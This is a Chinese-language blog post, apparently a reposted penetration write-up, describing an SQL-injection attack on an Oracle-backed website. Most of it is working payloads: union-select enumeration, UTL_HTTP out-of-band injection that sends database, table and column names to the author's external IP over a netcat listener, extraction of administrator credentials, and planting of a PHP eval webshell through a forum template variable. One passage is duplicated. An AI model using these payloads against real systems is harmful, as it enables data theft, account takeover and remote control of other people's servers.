oralce反弹注入攻击实战

Wesley13
• 阅读 603

作者:BlAck.Eagle

声明:严禁按照本文进行攻击等非法操作,后果自负,本文旨在信息安全技术研究

估计大家读了《oracle注入实战之渗透联通》一文之后都会为之一震,但是笔者不知道读者朋友有没有遇到过和笔者相似的情况,就是用union select语句爆全部的表的时候,根本爆不出来,最多也就能爆出几个来,那该怎么继续呢?这里就用到了我们的UTL_HTTP反弹注射。

● 判断注入点

手工判断注入点估计大家都会了,笔者通过返回的信息“java.sql.SQLException: ORA-01756”初步判断为oracle的数据库。

oralce反弹注入攻击实战

● 判断数据库类型

在url后面添加“/*”,返回错误页面,排除了mysql数据库的可能

oralce反弹注入攻击实战

在url后面添加“--”显示正常页面,说明数据库可能为mssql或者oracle

oralce反弹注入攻击实战

为了进一步验证为oracle数据库,笔者在url后添加:“and (select count (*) from user_tables)>0--”显示正常页面,说明为oracle的数据库。

注:user_tables是oracle数据库特有的表

oralce反弹注入攻击实战

● 猜解字段

笔者提交:order by 7--返回正确页面

oralce反弹注入攻击实战

继续提交order by 8—返回了错误页面,这就证实了当前表存在7个字段

oralce反弹注入攻击实战

● 测试字段类型

笔者提交:union select null,null,null,null,null,null,null from dual返回正常页面。证实了字段的确为七个

oralce反弹注入攻击实战

那接下来做的就是判断字段的类型了,因为字符型的字段位置处才能插入我们要查询的一些内容

笔者依次测试提交:

union%20select%20**'null'**,null,null,null,null,null,null%20from%20dual

union%20select%20null,'null',null,null,null,null,null%20from%20dual

union%20select%20null,null,'null',null,null,null,null%20from%20dual

union%20select%20null,null,null,'null',null,null,null%20from%20dual

……

这样依次提交,当测试完七个字段的时候,笔者发现1,3,4,6,7位置处为字符型。

提交:and%201=2%20union%20select%20'1',2,'3','4',5,'6','7'%20from%20dual
oralce反弹注入攻击实战

那接下来做的就是判断字段的类型了,因为字符型的字段位置处才能插入我们要查询的一些内容

笔者依次测试提交:

union%20select%20**'null'**,null,null,null,null,null,null%20from%20dual

union%20select%20null,'null',null,null,null,null,null%20from%20dual

union%20select%20null,null,'null',null,null,null,null%20from%20dual

union%20select%20null,null,null,'null',null,null,null%20from%20dual

……

这样依次提交,当测试完七个字段的时候,笔者发现1,3,4,6,7位置处为字符型。

提交:and%201=2%20union%20select%20'1',2,'3','4',5,'6','7'%20from%20dual

oralce反弹注入攻击实战

笔者测试了下Oracle数据库的版本,提交:

and%201=2%20union%20select%20(select%20banner%20from%20sys.v_$version%20where%20rownum=1),2,'3','4',5,'6','7'%20from%20dual,显示为oracle 10g

oralce反弹注入攻击实战

并且判断出了当前连接用户为TOTO,提交语句:

and%201=2%20union%20select%20(select%20SYS_CONTEXT%20('USERENV',%20'CURRENT_USER')%20from%20dual),2,'3','4',5,'6','7'%20from%20dual

oralce反弹注入攻击实战

爆表的时候笔者就遇到了麻烦,就是当提交:

and%201=2%20union%20select%20TABLE_NAME,2,'3','4',5,'6','7'%20from%20USER_TABLES 时,本来是想爆出所有的用户表,可能由于表比较多,而页面处用于显示的长度不够导致部分表显示出来,下面就要用到UTL_HTTP反弹注射。

oralce反弹注入攻击实战

● UTL_HTTP反弹注射之旅

反弹注射之前我们要判断一下UTL_HTTP包是否存在

构造语句:

and%20(select%20count(*)%20from%20all_objects%20where%20object_name='UTL_HTTP')>0--

oralce反弹注入攻击实战

返回成功,可以利用。

首先本机用NC监听某个未利用的端口3300.

oralce反弹注入攻击实战

url处提交:

and UTL_HTTP.request('http://60.2x.64.24:3300/'||(select banner from sys.v_$version where rownum=1))=1--

其中“60.2x.64.24”为笔者的外网IP地址

这样在本地就监听到了来自oracle机器的数据。并显示了oracle的数据库版本

oralce反弹注入攻击实战

这里需要提醒大家的是每在url提交一次请求,nc监听完之后会断开,需要重新启动nc监听。

接下来要做的就是常规的体力活了。暴库,暴表,暴字段

①首先是暴库,提交:

and UTL_HTTP.request('http://60.2x.64.24:3300/'||(select owner from all_tables where rownum=1))=1--

oralce反弹注入攻击实战

这里返回了第一个库SYS.

继续提交:

and UTL_HTTP.request('http://60.2x.64.24:3300/'||(select owner from all_tables where owner<>'SYS' and rownum=1))=1--

即查询库名不等于SYS的库。

oralce反弹注入攻击实战

成功返回第二个库OUTLN

笔者又依次提交

and UTL_HTTP.request('http://60.2x.64.24:3300/'||(select owner from all_tables where owner<>'SYS' and owner<>'OUTLN' and rownum=1))=1--

and UTL_HTTP.request('http://60.2x.64.24:3300/'||(select owner from all_tables where owner<>'SYS' and owner<>'OUTLN' and owner <>'SYSTEM' and rownum=1))=1--

and UTL_HTTP.request('http://60.2x.64.24:3300/'||(select owner from all_tables where owner<>'SYS' and owner<>'OUTLN' and owner <>'SYSTEM' and owner <>'TSMSYS' and rownum=1))=1—

……

这样依次论推,知道最后NC的“GET /”后面没有了数据,库就暴完了。

经笔者测试这里的数据库为TOTO

②然后是爆表

提交:

and UTL_HTTP.request('http://60.2x.64.24:3300/'||(select TABLE_NAME from all_tables where owner='TOTO' and rownum=1))=1--

oralce反弹注入攻击实战

爆出第一张表ACCOUNTS

提交:

and%20UTL_HTTP.request('http://60.2x.64.24:3300/'||(select%20TABLE_NAME%20from%20all_tables%20where%20owner='TOTO'%20and%20TABLE_NAME<>'ACCOUNTS'%20and%20rownum=1))=1--

oralce反弹注入攻击实战

获得了第二章表 A_USER。

笔者又依次提交

and%20UTL_HTTP.request('http://60.2x.64.24:3300/'||(select%20TABLE_NAME%20from%20all_tables%20where%20owner='TOTO'%20and%20TABLE_NAME<>'ACCOUNTS'%20 and%20TABLE_NAME<>'A_USER' and%20rownum=1))=1--

and%20UTL_HTTP.request('http://60.2x.64.24:3300/'||(select%20TABLE_NAME%20from%20all_tables%20where%20owner='TOTO'%20and%20TABLE_NAME<>'ACCOUNTS'%20 and%20TABLE_NAME<>'A_USER'%20and%20TABLE_NAME<>'CITY' and%20rownum=1))=1--

……

这样又爆出了表名:USERMG

③ 爆列名

提交:

and%20UTL_HTTP.request('http://60.2x.64.24:3300/'||(select%20COLUMN\_NAME%20from%20COLS%20where%20table\_name='USERMG'%20and%20rownum=1))=1--

oralce反弹注入攻击实战

这样就获得了第一个字段名

接着构造注入语句

and%20UTL_HTTP.request('http://60.211.64.24:3300/'||(select%20COLUMN\_NAME%20from%20COLS%20where%20table\_name='USERMG'%20and%20rownum=1))=1--

oralce反弹注入攻击实战

顺利得到第二个字段USER_PASS

经过笔者测试,字段值确实为这两个

④ 既然我们表名,列名都有了,那我们就来构造语句获得具体的值吧

提交:

and%201=2%20union%20select%20USER_NAME,2,USER_PASS,'4',5,'6','7'%20from%20USERMG

oralce反弹注入攻击实战

即可以获得了系统管理员的账号密码

● 登录。进取shell.

笔者发现只有登录后基本没有利用的地方,唯独论坛是个突破口。

恰巧系统管理的密码和注出的密码相同。成功登陆

oralce反弹注入攻击实战

【论坛管理】-【界面风格】

oralce反弹注入攻击实战

【默认风格】-【详情】 新增变量

oralce反弹注入攻击实战

变量内容为 ', '#999');eval($_POST[cmd]);// 替换内容随便写,提交之后用一句话木马连接论坛这个页面/forumdata/cache/style_1.php 密码为cmd,获得一句话小马。

Webshell详情:

oralce反弹注入攻击实战

点赞
收藏
评论区
推荐文章
Wesley13 Wesley13
3年前
java持久层框架mybatis如何防止sql注入
sql注入大家都不陌生,是一种常见的攻击方式,攻击者在界面的表单信息或url上输入一些奇怪的sql片段,例如“or‘1’’1’”这样的语句,有可能入侵参数校验不足的应用程序。所以在我们的应用中需要做一些工作,来防备这样的攻击方式。在一些安全性很高的应用中,比如银行软件,经常使用将sql语句全部替换为存储过程这样的方式,来防止sql注入,这当然是一种很安全
DevOpSec DevOpSec
3年前
Linux主机安全加固
Linux主机安全加固Redhat是目前企业中用的最多的一类Linux,而目前针对Redhat攻击的黑客也越来越多了。我们要如何为这类服务器做好安全加固工作呢?本文针对系统的账户安全,最小化服务,访问
徐小夕 徐小夕
3年前
30分钟带你了解Web工程师必知的Docker知识
前言笔者之前和朋友一直在讨论web技术方向的话题,也一直想了解web运维方面的知识,所以特意请教了一下我的朋友老胡,他对web运维和后端技术有非常多的实战经验,所以在本
Aimerl0 Aimerl0
3年前
网络渗透测试实验三
写在前面实验终于开始有意思起来了,Attack!网络渗透测试实验三:XSS和SQL注入实验目的了解什么是XSS了解XSS攻击实施,理解防御XSS攻击的方法了解SQL注入的基本原理掌握PHP脚本访问MySQL数据库的基本方法掌握程序设计中避免出现SQL注入漏洞的基本方法掌握网站配置。系统环境KaliLinux2、Wi
徐小夕 徐小夕
3年前
基于Vue实现一个有点意思的拼拼乐小游戏
笔者去年曾写过一个类似的拼拼乐小游戏,技术栈采用自己的Xuery框架和原生javascript实现的,脚手架采用gulp来实现,为了满足对vue的需求,笔者再次使用vue生态将其重构,脚手架采用比较火的vuecli。前言为了加深大家对vue的了解和vue项目实战,笔者采用vue生态来重构此项目,方便大家学习和探索。技术栈如下:vuecli4
Stella981 Stella981
3年前
Redis4.0新特性(二)
Redis4.0新增了非常实用的lazyfree特性,从根本上解决BigKey(主要指定元素较多集合类型Key)删除的风险。笔者在redis运维中也遇过几次BigKey删除带来可用性和性能故障。本文分为以下几节说明redislazyfree:lazyfree的定义我们为什么需要lazyfreelazyfr
Wesley13 Wesley13
3年前
信息安全
ylbtech信息安全攻击XSS:XSS/CSS攻击XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash或者甚至是普通的HTML。攻击成功后
Wesley13 Wesley13
3年前
MySQL日志安全分析技巧
常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。0x01Mysql日志分析generalquerylog能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。1、查看log配置信息
欣喜若狂 欣喜若狂
1年前
XSS攻击问题皕杰报表解决方案
XSS表示CrossSiteScripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在XSS攻击中,通过插入恶意脚本,实现对用户游览器的控制。XSS攻击可以分成两种类型:1